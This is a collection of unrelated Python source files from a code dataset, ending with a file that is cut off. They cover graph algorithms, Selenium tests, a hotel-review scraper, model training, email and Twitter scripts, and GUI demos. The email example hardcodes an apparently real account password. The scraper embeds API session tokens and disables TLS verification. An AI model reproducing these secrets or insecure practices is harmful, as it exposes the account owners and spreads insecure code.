+{"seq_id":"314961792","text":"# 모든 지점에서 다른 모든 지점까지의 최단경로를 모두 구해야 하는 경우 사용함\n# 시간 복잡도 O(N^3)\n\nINF = int(1e9) # 무한을 의미하는 값 설정\n\n# 노드 개수와 간선 개수 입력받기\nn = int(input())\nm = int(input())\n\n# 2차원 리스트(그래프 표현)를 만드로, 모든 값을 무한으로 초기화\ngraph = [[INF]*(n+1) for _ in range(n+1)]\n\n# 자기 자신에서 자기 자신으로 가는 비용 0으로 초기화\nfor a in range(1,n+1):\n for b in range(1,n+1):\n if a==b:\n graph[a][b] = 0\n\n# 각 간선에 대한 정보를 입력받아, 그 값으로 초기화\nfor _ in range(m):\n # A에서 B로 가는 비용은 C라고 설정\n a,b,c = map(int,input().split())\n graph[a][b] = c\n\n# 점화식에 따라 플로이드 워셜 알고리즘 수행\nfor k in range(1,n+1):\n for a in range(1,n+1):\n for b in range(1,n+1):\n graph[a][b] = min(graph[a][b],graph[a][k]+graph[k][b])\n\n# 수행된 결과를 출력\nfor a in range(1,n+1):\n for b in range(1,n+1):\n # 도달할 수 없는 경우, 무한(INFINITY)출력 \n if graph[a][b] == INF:\n print('INFINITY',end=\" \")\n else:\n print(graph[a][b],end=\" \")\n print()\n\n\n\"\"\"\ninput\n4\n7\n1 2 4\n1 4 6\n2 1 3\n2 3 7\n3 1 5\n3 4 4\n4 3 2\n\"\"\"","sub_path":"Algorithm/ShortestPath/FloydWarshall/floydWarshall.py","file_name":"floydWarshall.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"398821076","text":"import re\nfrom selenium.webdriver.support.ui import Select, WebDriverWait\n\nfrom test_tool.settings import (\n ADMIN_ANCHORS, DEFAULT_BLOG, LONG_AJAX)\nfrom test_tool.helpers.selenium_stuff import (\n navigate_admin, wait_for_visible_by_id, wait_for_visible_by_css,\n find_element_by_text, parent, id_generator, wait_for_visible_text_by_css)\nfrom test_tool.actions.common import (\n wait_for_async_load)\n\n\nget_id_from_uri = re.compile('live-blog/(\\d+)')\n\n\ndef goto_blog(browser, blog_id=DEFAULT_BLOG):\n try:\n current_blog = browser.find_element_by_css_selector(\n 'ul.nav-pills li.active a').text\n except Exception:\n current_blog = None\n browser.get(navigate_admin(ADMIN_ANCHORS['live-blog'].format(blog_id)))\n wait_for_async_load(browser)\n if current_blog is not None:\n wait_for_visible_text_by_css(\n browser, LONG_AJAX, 'ul.nav-pills li.active a', current_blog,\n wrong_text=True)\n\n\ndef create_blog(browser, title=None, description=None,\n language='English', blog_type='default'):\n if title is None:\n title = id_generator()\n if description is None:\n description = id_generator()\n\n browser.get(navigate_admin())\n create_blog_button = wait_for_visible_by_id(\n browser, LONG_AJAX,\n 'welcome-screen-create-liveblog')\n create_blog_button.click()\n title_input = wait_for_visible_by_css(\n browser, LONG_AJAX,\n 'h2[data-value=\"Title\"]')\n title_input.send_keys(title)\n desctiption_input = browser.find_element_by_css_selector(\n 'article[data-value=\"Description\"]')\n desctiption_input.send_keys(description)\n language_select = wait_for_visible_by_css(\n browser, LONG_AJAX, 'select[name=\"Language\"]')\n Select(language_select).select_by_visible_text(language)\n\n blog_type_list = browser.find_element_by_css_selector(\n 'ul.blogtype-list')\n blog_type_label = find_element_by_text(blog_type_list, blog_type)\n blog_type_checkbox = parent(blog_type_label).find_element_by_css_selector(\n 'input[type=\"radio\"]')\n blog_type_checkbox.click()\n\n save_button = browser.find_element_by_css_selector('.btn.save')\n save_button.click()\n\n wait_for_visible_by_css(\n browser, LONG_AJAX, '.side-tab-container')\n url = browser.current_url\n blog_id = get_id_from_uri.search(url).group(1)\n\n return {\n 'id': blog_id,\n 'title': title,\n 'description': description, }\n\n\ndef get_active_blogs(browser):\n browser.get(navigate_admin())\n blogs_elements = WebDriverWait(browser, LONG_AJAX).until(\n lambda br: br.find_elements_by_css_selector(\n 'div.active-blogs-title'))[1:]\n return [{\n 'title': element.text,\n 'id': get_id_from_uri.search(\n element.find_element_by_css_selector(\n 'a').get_attribute('href')\n ).group(1),\n } for element in blogs_elements]\n","sub_path":"test_tool/actions/blogs.py","file_name":"blogs.py","file_ext":"py","file_size_in_byte":2942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"326743903","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Jun 5 15:50:38 2019\n\n@author: lenovo\n\"\"\"\n\nlist1 = []\nwhile True:\n user_input = input(\"Enter values >\")\n \n #append this entry to other data structure\n list1.append(user_input)\n \n if not user_input:\n break\nlist1.pop()\nprint('List :',list1)\n\ntuple1 = tuple(list1)\nprint('tuple :',tuple1)\n","sub_path":"day03/generator.py","file_name":"generator.py","file_ext":"py","file_size_in_byte":354,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"70017330","text":"import requests, json\nfrom bs4 import BeautifulSoup\nfrom urllib import urlopen\nfrom settings import db\n\nclass hotelFinder: \n def __init__(self):\n self.__listOfHotels = []\n self.__paginationLink = [] \n \n def __initDOM(self, path):\n return BeautifulSoup(urlopen(path), \"html.parser\")\n \n def __handlePagination(self, DOMObject):\n pagination = DOMObject.select(\"div#searchResultPagination > div > ul > li a\")\n \n for page in pagination:\n self.__paginationLink.append(page.get(\"href\"))\n \n return;\n \n def __findHotels(self, listOfPaginationLinks, DOMObject):\n items = DOMObject.select(\"div#searchResultRowContainer div.hotelSearchResultMaplessRowSEO > div.contentSearchRow > div.contentContainer > div > div.hotelTitleDesc > h3 > a\")\n db.hotel.delete_many({})\n for item in items:\n \n hotelLink = item.get(\"href\")\n splittedHotelLink = hotelLink.split(\"-\")\n hotelID = splittedHotelLink[len(splittedHotelLink) - 1]\n hotelName = item.get_text().strip()\n \n itemObject = {\n \"id_hotel\":hotelID,\n \"name\":hotelName,\n \"link\":hotelLink\n }\n \n self.__listOfHotels.append(itemObject)\n db.hotel.insert_one(itemObject) \n\n if ( len(listOfPaginationLinks) > 0 ):\n nextPage = listOfPaginationLinks.pop()\n self.__findHotels(listOfPaginationLinks, self.__initDOM(nextPage))\n \n return\n def scrapHotelList(self):\n firstPageDOM = self.__initDOM('http://www.traveloka.com/hotel/indonesia/region/special-region-of-yogyakarta-jogjakarta-107409/hotel')\n self.__handlePagination(firstPageDOM)\n self.__findHotels(self.__paginationLink, firstPageDOM)\n\n def getHotels(self): return self.__listOfHotels\n def getReviews(self):\n cursor = db.hotel.find() \n for hotel in cursor: \n url = \"http://api.traveloka.com/v1/hotel/hotelReviewAggregate\"\n headers = {\"Content-Type\":\"application/json\",\"Cache-Control\": \"no-cache\",\"Origin\":\"http://www.traveloka.com\"}\n payload = {\"data\":{\"hotelId\":hotel[\"id_hotel\"],\"skip\":\"0\",\"top\":\"500\",\"ascending\":\"false\"},\"context\":{\"tvLifetime\":\"\\\"aeOlPj8Gwzk0HawWAZXUS/vvYK+kGHBhGWiRoVr7FAM0f/99ib7rb2YGxXellaokDh0RFOyHlfcGiand4pQr0HCTTcGffLLs1mSVARMfQtU=\\\"\",\"tvSession\":\"\\\"tqsXBgwYECjS1n42PPXjCZxc+66exBKorFe7L5tDrKYPwmnNbMwacjr9hMGOQxdZrY/LovgH5085k1tA1F/V/wxX+l+n5Z50kgdajEMG1GnGfINcI9bEfFfvQigbVgQ7\\\"\"},\"clientInterface\":\"desktop\"}\n r = requests.post(url, headers=headers, json=payload, verify=False)\n #reviews = []\n response = r.json()\n for review in response[\"data\"][\"reviewList\"]:\n #reviews.append(review[\"reviewText\"])\n data = {\"id_hotel\":hotel[\"id_hotel\"], \"review\":review[\"reviewText\"]}\n if not db.review_kotor.find_one(data):\n db.review_kotor.insert_one(data)\n #traveloka_raw.update_one({\"id\":idHotel},{'$set':{'reviews':reviews}},upsert=False)\n #print reviews[0], idHotel\n #rint \"get reviews of hotel id: %s\" % (idHotel) \n return db.review_kotor.count()","sub_path":"web_interface/scrap_hotel/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"614117695","text":"# --batch_size=64 --dropout_p=0.2 --attn_use=True --stacked_encoder=True --attn_len=5 --hidden_size=448 --num_epochs=61\nimport os\nimport argparse\nimport torch\nimport torch.optim as optim\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torchaudio\nimport yaml\nfrom torch.utils.data import DataLoader\nfrom torch.optim.lr_scheduler import ExponentialLR\nfrom tensorboardX import SummaryWriter\nfrom tqdm import tqdm\nfrom models.attention import AttentionModel\nfrom src.data_final import load_dataset, load_noisy_dataset\n\nimport warnings\n\nwarnings.filterwarnings('ignore')\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--model_dir', default='experiment/SE_model.json', help=\"Directory containing params.json\")\nparser.add_argument('--restore_file', default=None,\n help=\"Optional, name of the file in --model_dir containing weights to reload before training\") # 'best' or 'train'\nparser.add_argument('--batch_size', default=8, type=int, help='train batch size')\nparser.add_argument('--num_epochs', default=100, type=int, help='train epochs number')\nparser.add_argument('--dropout_p', default=0.2, type=float, help='Attention model drop out rate')\nparser.add_argument('--learning_rate', default=5e-4, type=float, help='Learning rate')\nparser.add_argument('--attn_use', default=True, type=bool)\nparser.add_argument('--stacked_encoder', default=True, type=bool)\nparser.add_argument('--attn_len', default=5, type=int)\nparser.add_argument('--hidden_size', default=448, type=int)\nparser.add_argument('--ck_name', default='final_batch.pt')\n\nparser.add_argument('--njobs', default=16, type=int,\n help='Number of threads for dataloader/decoding.', required=False)\nparser.add_argument('--config', type=str, help='Path to experiment config.', default=\"config/asr_example.yaml\")\nparser.add_argument('--no-pin', action='store_true',\n help='Disable pin-memory for dataloader')\nparser.add_argument('--cpu', action='store_true', help='Disable GPU training.')\nparser.add_argument('--no-msg', action='store_true', help='Hide all messages.')\n\nargs = parser.parse_args()\nsetattr(args, 'gpu', not args.cpu)\nsetattr(args, 'pin_memory', not args.no_pin)\nsetattr(args, 'verbose', not args.no_msg)\nconfig = yaml.load(open(args.config, 'r'), Loader=yaml.FullLoader)\n\nnum_fbank = 40\n\n\ndef fetch_data(data):\n ''' Move data to device and compute text seq. length'''\n name, feat, feat_len = data\n feat = feat.to(torch.device('cuda'))\n feat_len = feat_len.to(torch.device('cuda'))\n\n return feat, feat_len\n\n\ndef verbose(msg):\n ''' Verbose function for print information to stdout'''\n if args.verbose:\n if type(msg) == list:\n for m in msg:\n print('[INFO]', m.ljust(100))\n else:\n print('[INFO]', msg.ljust(100))\n\n\ndef main():\n summary = SummaryWriter('./log')\n tr_set, dv_set, feat_dim, msg = load_dataset(args.njobs, args.gpu, args.pin_memory,\n config['hparas']['curriculum'] > 0,\n **config['data'])\n\n verbose(msg)\n # model select\n print('Model initializing\\n')\n net = torch.nn.DataParallel(\n AttentionModel(120, hidden_size=args.hidden_size, dropout_p=args.dropout_p, use_attn=args.attn_use,\n stacked_encoder=args.stacked_encoder, attn_len=args.attn_len))\n # net = AttentionModel(257, 112, dropout_p = args.dropout_p, use_attn = arg0s.attn_use)\n net = net.cuda()\n print(net)\n\n optimizer = optim.Adam(net.parameters(), lr=args.learning_rate)\n\n scheduler = ExponentialLR(optimizer, 0.5)\n\n # check point load\n # Check point load\n\n print('Trying Checkpoint Load\\n')\n ckpt_dir = 'ckpt_dir'\n if not os.path.exists(ckpt_dir):\n os.makedirs(ckpt_dir)\n best_loss = 200000.\n ckpt_path = os.path.join(ckpt_dir, args.ck_name)\n if os.path.exists(ckpt_path):\n ckpt = torch.load(ckpt_path)\n try:\n net.load_state_dict(ckpt['model'])\n optimizer.load_state_dict(ckpt['optimizer'])\n best_loss = ckpt['best_loss']\n\n print('checkpoint is loaded !')\n print('current best loss : %.4f' % best_loss)\n except RuntimeError as e:\n print('wrong checkpoint\\n')\n else:\n print('checkpoint not exist!')\n print('current best loss : %.4f' % best_loss)\n\n print('Training Start!')\n # train\n iteration = 0\n train_losses = []\n test_losses = []\n for epoch in range(args.num_epochs):\n n = 0\n avg_loss = 0\n net.train()\n for input in tqdm(tr_set):\n tr_noisy_set, feat_dim = load_noisy_dataset(\"train\", input[0], args.njobs,\n args.gpu,\n args.pin_memory,\n config['hparas']['curriculum'] > 0,\n **config['data_noisy'])\n for input_noisy in tr_noisy_set:\n train_clean_feat, feat_len = fetch_data(input)\n train_noisy_feat, feat_len = fetch_data(input_noisy)\n\n iteration += 1\n\n # feed data\n train_mixed_feat, attn_weight = net(train_noisy_feat)\n if train_mixed_feat.shape == train_clean_feat.shape:\n loss = F.mse_loss(train_mixed_feat, train_clean_feat, True)\n\n if torch.any(torch.isnan(loss)):\n torch.save(\n {'clean_mag': train_clean_feat, 'noisy_mag': train_noisy_feat, 'out_mag': train_mixed_feat},\n 'nan_mag')\n raise ('loss is NaN')\n avg_loss += loss.item()\n\n n += 1\n # gradient optimizer\n optimizer.zero_grad()\n\n loss.backward()\n\n # update weight\n optimizer.step()\n\n avg_loss /= n\n print('result:')\n print('[epoch: {}, iteration: {}] avg_loss : {:.4f}'.format(epoch, iteration, avg_loss))\n\n summary.add_scalar('Train Loss', avg_loss, iteration)\n\n train_losses.append(avg_loss)\n if (len(train_losses) > 2) and (train_losses[-2] < avg_loss):\n print(\"Learning rate Decay\")\n scheduler.step()\n\n # test phase\n n = 0\n avg_test_loss = 0\n net.eval()\n with torch.no_grad():\n for input in tqdm(dv_set):\n dv_noisy_set, feat_dim = load_noisy_dataset(\"dev\", input[0], args.njobs,\n args.gpu,\n args.pin_memory,\n config['hparas']['curriculum'] > 0,\n **config['data_noisy'])\n for input_noisy in dv_noisy_set:\n test_clean_feat = input[1].to(device='cuda')\n test_noisy_feat = input_noisy[1].to(device='cuda')\n\n test_mixed_feat, logits_attn_weight = net(test_noisy_feat)\n if test_mixed_feat.shape == test_clean_feat.shape:\n test_loss = F.mse_loss(test_mixed_feat, test_clean_feat, True)\n\n avg_test_loss += test_loss.item()\n n += 1\n\n avg_test_loss /= n\n\n test_losses.append(avg_test_loss)\n summary.add_scalar('Test Loss', avg_test_loss, iteration)\n\n print('[epoch: {}, iteration: {}] test loss : {:.4f} '.format(epoch, iteration, avg_test_loss))\n if avg_test_loss < best_loss:\n best_loss = avg_test_loss\n # Note: optimizer also has states ! don't forget to save them as well.\n ckpt = {'model': net.state_dict(),\n 'optimizer': optimizer.state_dict(),\n 'best_loss': best_loss}\n torch.save(ckpt, ckpt_path)\n print('checkpoint is saved !')\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"train_final.py","file_name":"train_final.py","file_ext":"py","file_size_in_byte":8259,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"539566675","text":"class Solution:\n def maxWidthRamp(self, nums) -> int:\n if not nums:\n return 0\n ll = len(nums)\n nn = []\n nn.append(0)\n res = 0\n for i in range(ll):\n if nums[nn[-1]] > nums[i]:\n nn.append(i)\n for i in range(ll):\n rr = ll - i - 1\n while nums[nn[-1]] <= nums[rr]:\n res = res if res > rr - nn[-1] else rr - nn[-1]\n nn.pop(-1)\n if not nn:\n return res\n return res\n\n\nif __name__ == \"__main__\":\n nums = [9, 8, 1, 0, 1, 9, 4, 0, 4, 1]\n sol = Solution()\n print(sol.maxWidthRamp(nums))\n","sub_path":"leetcode/medium/done/max_width_ramp.py","file_name":"max_width_ramp.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"257266624","text":"import random\nfrom math import cos, log, pi, sin, sqrt\n\n#正規分布に従った乱数を生成する関数\nclass NormalDistRandom:\n #期待値exp, 分散varの正規分布に従った乱数を生成\n #乱数生成器を作成\n def __init__(self, exp=1.0, var=1.0):\n self.exp = exp\n self.var = var\n self.values = []\n\n def get_random(self):\n if len(self.values) == 0:\n #　ボックス・ミュラー法で乱数を生成する\n a = 1.0 - random.random()\n b = 1.0 - random.random()\n z1 = sqrt(-2.0 * log(a)) * cos(2 * pi * b)\n z2 = sqrt(-2.0 * log(a)) * sin(2 * pi * b)\n rand1 = z1 * sqrt(self.var) + self.exp\n rand2 = z2 * sqrt(self.var) + self.exp\n\n self.values.append(rand1)\n self.values.append(rand2)\n return self.values.pop(0)\n\n def __str__(self):\n print(self.exp)\n print(self.var)\n return \"did\"\n","sub_path":"source/libs/normal_dis_random.py","file_name":"normal_dis_random.py","file_ext":"py","file_size_in_byte":875,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"605860433","text":"#import usertest\n#import configtest # first test\nimport unittest # second test\n#from SIP_callin_with_MID import SIP_callin_with_MID\nfrom H323_callin_with_MID import SIP_callin_with_MID\n\nimport sys\nimport os\nsys.path.append(os.path.abspath(\"/bin/TPGW_Stress/Test_cases/\"))\nfrom Test_Report import Report\nfrom callinscript import *\n\n#import usertest\n#import configtest # first test\nimport unittest # second test\n\nclass TestSuit():\n \n def __init__(self) :\n self.report_file = report_file_name;\n self.report = Report()\n self.report.WriteReportHeader(report_file_path+self.report_file)\n #self.report.WriteToFile(\"/bin/TPGW_Stress/reports/\"+self.report_file)\n \n def suite(self):\n #test_suite = unittest.TestSuite()\n #test_suite.addTest(unittest.makeSuite(H323_callin_with_MID(meetingID, VIP, TPIP, username, password,calltype,number_of_calls,logfile,report_file)));\n \n test_suite = unittest.TestSuite();\n #_(self, testname, meetingID, VIP, TPIP, username, password,calltype,number_of_calls,logfile,report_file):\n test_suite.addTest(unittest.makeSuite(SIP_callin_with_MID));\n return test_suite;\n\n def tearDown(self):\n self.report.WriteReportFooter(\"/bin/TPGW_Stress/reports/\"+self.report_file)\n #self.report.WriteToFile(\"/bin/TPGW_Stress/reports/\"+self.report_file)\n \nif __name__ == '__main__' :\n ts = TestSuit();\n mySuit=ts.suite()\n runner=unittest.TextTestRunner()\n runner.run(mySuit)\n ts.tearDown();\n","sub_path":"Controler/UnitTestCases/sanity_test_suite.py","file_name":"sanity_test_suite.py","file_ext":"py","file_size_in_byte":1529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"248434633","text":"import logging, datetime, os,shutil\n\n\ndef sumrange(logger,n):\n logger.info(\"sumrange{} 計算開始\".format(n))\n ans = 0\n for i in range(1, n + 1):\n ans += i\n logger.info(\"i = {} , ans = {}\".format(i, ans))\n return ans\n\ndef test():\n folder = logger_name = u\"日誌偵錯\"\n today = datetime.date.today()\n loggerPath = logger_name + u'/log - ' + str(today) + '.txt'\n if os.path.exists(loggerPath):\n shutil.rmtree(folder)\n if not os.path.exists(loggerPath):\n os.mkdir(folder)\n # formatter : 日誌輸出格式\n formatter = logging.Formatter(\n '%(asctime)s - %(name)s - %(levelname)s: - %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S')\n # 設置logger\n logger = logging.getLogger(logger_name) # 不加名稱設置root logger\n logging.basicConfig(level=logging.DEBUG,\n format='%(asctime)s - %(name)s - %(levelname)s: - %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n filename=loggerPath)\n log_filter = logging.Filter(logger_name)\n\n # 使用StreamHandler輸出到屏幕\n console = logging.StreamHandler()\n console.setLevel(logging.DEBUG)\n console.setFormatter(formatter)\n logger.addHandler(console) # 添加StreamHandler\n\n logger.info(u'logger已啟動')\n logger.info(\"計算結果 : {}\".format(str(sumrange(logger,10))))\n logger.info(u'移除所有handler並關閉logger')\n handlers = logger.handlers[:]\n for handler in handlers:\n handler.close()\n logger.removeHandler(handler)\n","sub_path":"異常與除錯/日誌偵錯.py","file_name":"日誌偵錯.py","file_ext":"py","file_size_in_byte":1567,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"115311147","text":"# A COLLECTION OF INTERESTING CODING PROBLEMS ---------------------------------------\n# difficulty levels range from 1 (simple) - 3 (hard)\nimport numpy as np\n\n# --------------------------------------------\n# Q1: Find all numbers which are divisible by 7 but are not a multiple of 5, between 3000 and 4300 (both included).\n# difficulty level: 1\nnum_vec = np.arange(3000, 4301, 1)\nx = num_vec[(num_vec %7 == 0) & (num_vec %5 != 0)]\n\n\n# --------------------------------------------\n# Q2: Write an algo that goes through a list in rolling k windows and stores the results in another list, with the\n# elements sorted in increasing order.\n# difficulty level: 1\nax = [5, 3, 6, 8, 9, 12, 5, 1, 7]\na = []\nk = 3\nfor j in range(0, len(ax)-k+1):\n a.append(np.sort(ax[j:(j+k)]))\n\n\n# --------------------------------------------\n# Q3: Write a program that computes the factorial given a number.\n# difficulty level: 1\n\ndef comp_factorial(x):\n if x == 0:\n y = 1\n else:\n y = x * comp_factorial(x-1)\n return(y)\n\ncomp_factorial(4)\n\n\n# --------------------------------------------\n# Q4: Given an integer n, write a program that returns a dictionary that contains i, i*i where i ranges from 1 to n.\n# difficulty level: 1\nn = 8\nd = {i: i**2 for i in range(1, n+1)}\n\n\n# --------------------------------------------\n# Q5: Define a class which has at least two methods:\n# getString: to get a string from console input and printString: to print the string in upper case\n# Also include a simple test function to test the class methods.\n# difficulty level: 1\n\nclass StrInOut(object):\n def __init__(self):\n self.s = \"\"\n\n def getString(self):\n self.s = input()\n\n def printString(self):\n print(self.s.upper())\n\nso = StrInOut()\nso.getString() # type: this is my string\nso.printString()\n\nimport pandas as pd\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"collection_simple_problems.py","file_name":"collection_simple_problems.py","file_ext":"py","file_size_in_byte":1845,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"351220532","text":"#!/usr/bin/env python\n'email-examples.py - demo creation of email messages'\n\nfrom email.mime.image import MIMEImage\nfrom email.mime.multipart import MIMEMultipart\nfrom email.mime.text import MIMEText\nfrom smtplib import SMTP\n\n\nSENDER='fxbird1978@163.com'\nRECIPS=SENDER\nSOME_IMG_FILE=r'm:\\My-Documents\\pictures\\IMG_20161022_070424.jpg'\nuserName='fxbird1978'\npassword='fuckgcd1'\n\n\ndef make_mpa_msg():\n email=MIMEMultipart('alternative')\n text=MIMEText('Hello world!\\r\\n','plain')\n email.attach(text)\n html=MIMEText('''\n \n

Hello World!

\n \n ''','html')\n email.attach(html)\n\n return email\n\ndef make_img_msg(fn):\n f=open(fn,'rb')\n data=f.read()\n f.close()\n email=MIMEImage(data,name=fn)\n email.add_header('Content-Disposition','attachment; filename=\"%s\"' % fn)\n return email\n\ndef sendMsg(fr,to, msg):\n s=SMTP('smtp.163.com')\n s.login(userName,password)\n errs=s.sendmail(fr,to,msg)\n s.quit()\n\nif __name__ == '__main__':\n print('Sending multipart alternative msg...')\n msg=make_mpa_msg()\n msg['From']=SENDER\n msg['To']=RECIPS\n msg['Subject']='Multipart alternative test'\n sendMsg(SENDER,RECIPS,msg.as_string())\n\n print('Sending image msg ...')\n msg=make_img_msg(SOME_IMG_FILE)\n msg['From']=SENDER\n msg['To']=RECIPS\n msg['Subject']='Image file test'\n sendMsg(SENDER,RECIPS,msg.as_string())","sub_path":"python/core-python/ch3/email-examples.py","file_name":"email-examples.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"249675228","text":"import twitter\nimport os\nimport random\n\nwith open (\"../twbotcreds\", \"r\") as myfile:\n credentials = myfile.readlines()\n\nCONSUMER_KEY = credentials[0].split()[0]\nCONSUMER_SECRET = credentials[1].split()[0]\n\nMY_TWITTER_CREDS = os.path.expanduser('../my_app_credentials')\nif not os.path.exists(MY_TWITTER_CREDS):\n twitter.oauth_dance(\"nadehi18's Twitter RT Bot\", CONSUMER_KEY, CONSUMER_SECRET, MY_TWITTER_CREDS)\n\noauth_token, oauth_secret = twitter.read_token_file(MY_TWITTER_CREDS)\n\n\ntwitter = twitter.Twitter(auth=twitter.OAuth(oauth_token, oauth_secret, CONSUMER_KEY, CONSUMER_SECRET))\n\n\nusers_iterated_through = 20\nnadehi18 = twitter.users.lookup(screen_name='nadehi18')\nnum_friends = nadehi18[0][\"friends_count\"]\nuser_index = random.randint(0, num_friends)\nactual_user_index = user_index\n\nfriends = twitter.friends.list(cursor=-1, screen_name=\"nadehi18\", skip_status=\"true\", include_user_entities=\"false\")\n\nwhile user_index > users_iterated_through:\n friends = twitter.friends.list(cursor=friends[\"next_cursor\"], screen_name=\"nadehi18\", skip_status=\"true\", include_user_entities=\"false\")\n users_iterated_through += 20\n actual_user_index -= 20\n\nfriend = friends[\"users\"][actual_user_index]\nprint(friend)\n\n","sub_path":"testing.py","file_name":"testing.py","file_ext":"py","file_size_in_byte":1241,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"261392156","text":"import tkinter as tk\nimport random\n\nprint('用 Entry 和 grid 做 表格')\n\nCOLUMN = 10\nROW = 8\n\ndef set_numbers():\n for i in range(ROW):\n for j in range(COLUMN):\n cells[i][j].set(random.randint(0, 9))\n\ndef get_numbers1():\n for i in range(ROW):\n for j in range(COLUMN):\n print(cells[i][j].get())\n\ndef get_numbers2():\n values = [[eval(x.get()) for x in cells[i]] for i in range(ROW)]\n print(values)\n \nwindow = tk.Tk()\n\n# 設定主視窗大小\nW = 800\nH = 800\nx_st = 100\ny_st = 100\n#size = str(W) + 'x' + str(H)\n#size = str(W) + 'x' + str(H) + '+' + str(x_st) + '+' + str(y_st)\n#window.geometry(size)\nwindow.geometry(\"{0:d}x{1:d}+{2:d}+{3:d}\".format(W, H, x_st, y_st))\n#print(\"{0:d}x{1:d}+{2:d}+{3:d}\".format(W, H, x_st, y_st))\n\n# 設定主視窗標題\ntitle = \"Entry 測試\"\nwindow.title(title)\n\nframe = tk.Frame(window, height = 0, width = 0, bg = 'pink', bd = 5) # Hold entries \nframe.pack()\n\ncells = []\nfor i in range(ROW):\n cells.append([])\n for j in range(COLUMN):\n cells[i].append(tk.StringVar())\n \nfor i in range(ROW):\n for j in range(COLUMN):\n tk.Entry(frame, width = 8, justify = tk.RIGHT, textvariable = cells[i][j]).grid(row = i, column = j)\n \ntk.Button(window, text = \"填數字\", command = set_numbers).pack()\ntk.Button(window, text = \"取得數字1\", command = get_numbers1).pack()\ntk.Button(window, text = \"取得數字2\", command = get_numbers2).pack()\n\nset_numbers()\n\nwindow.mainloop()\n\n\n\n","sub_path":"_4.python/tkinter/tk_Entry5.py","file_name":"tk_Entry5.py","file_ext":"py","file_size_in_byte":1493,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"355079505","text":"import os\r\nimport sys\r\nimport logging\r\n\r\n\r\n_this_dir = os.path.dirname(os.path.abspath(__file__))\r\nto_add = os.path.abspath(_this_dir + '/..') # for 'qa_py'\r\nif to_add not in sys.path:\r\n sys.path.insert(0, to_add)\r\n\r\nif 1:\r\n from Misc import logger\r\n from Misc.foodfie_db.db import connectDB\r\n\r\nlogg = logging.getLogger(__name__)\r\nlogg = logger.setLogger(logg)\r\n\r\nconn, curs = connectDB()\r\n\r\n\r\ndef trackCampaign():\r\n \"\"\"\r\n Track campaign\r\n \"\"\"\r\n logg.info(\"=>Tracking Campaign\")\r\n # Get Campaign Detail\r\n SQL = \"\"\"SELECT a.CampaignId, a.CustomerSegmentId\r\n FROM foodfie_analysis.Campaign a\r\n JOIN foodfie_analysis.CustomerSegments b\r\n ON a.CustomerSegmentId = b.CustomerSegmentId \r\n AND a.IsEnabled = 1\"\"\"\r\n\r\n curs.execute(SQL)\r\n campaignDetails = curs.fetchall()\r\n\r\n for campaignDetail in campaignDetails:\r\n\r\n campaignId, customerSegment = campaignDetail\r\n\r\n SQL = \"\"\"SELECT CampaignCustomerId \r\n FROM foodfie_analysis.CampaignSMSSent\r\n WHERE campaignId = {0}\r\n AND CampaignSMSSentTime >= date_sub(current_date(), interval 7 day)\"\"\".format(campaignId)\r\n\r\n curs.execute(SQL)\r\n customerInCampaign = [customer[0] for customer in curs.fetchall()]\r\n # customerInSegment = [customer[0] for customer in customerInSegment]\r\n\r\n SQL = \"\"\"SELECT OrderId, CustomerId, NetAmount, OrderTime\r\n FROM foodfie.Order\r\n where date(OrderTime) = current_date()\"\"\"\r\n\r\n curs.execute(SQL)\r\n orderDetail = curs.fetchall()\r\n todayCustomers = [order[1] for order in orderDetail]\r\n\r\n returnCustomers = list(set(customerInCampaign).intersection(todayCustomers))\r\n returnCustomerDetail = [order for order in orderDetail if order[1] in returnCustomers]\r\n if returnCustomerDetail:\r\n for customerDetail in returnCustomerDetail:\r\n orderId, customerId, orderAmount, orderTime = customerDetail\r\n\r\n SQL = \"\"\"INSERT INTO foodfie_analysis.CampaignTracking(CampaignId, OrderId, CustomerId, OrderAmount, OrderTime)\r\n VALUES({0}, {1}, {2}, {3}, '{4}')\"\"\".format(campaignId, orderId, customerId, orderAmount, orderTime)\r\n curs.execute(SQL)\r\n conn.commit()\r\n\r\ntrackCampaign()\r\n","sub_path":"Analysis/TrackCampaign.py","file_name":"TrackCampaign.py","file_ext":"py","file_size_in_byte":2366,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"206509434","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom tests.testcase import APITestCase\nfrom controller.periodic import periodic_task\nfrom controller.task.base import TaskHandler as Th\nimport tests.users as u\n\n\nclass TestPeriodicTask(APITestCase):\n def setUp(self):\n super(TestPeriodicTask, self).setUp()\n self.add_first_user_as_admin_then_login()\n self.add_users_by_admin([dict(email=r[0], name=r[2], password=r[1]) for r in [u.expert1]], '切分专家')\n\n def get_data_lock(self, page_name, 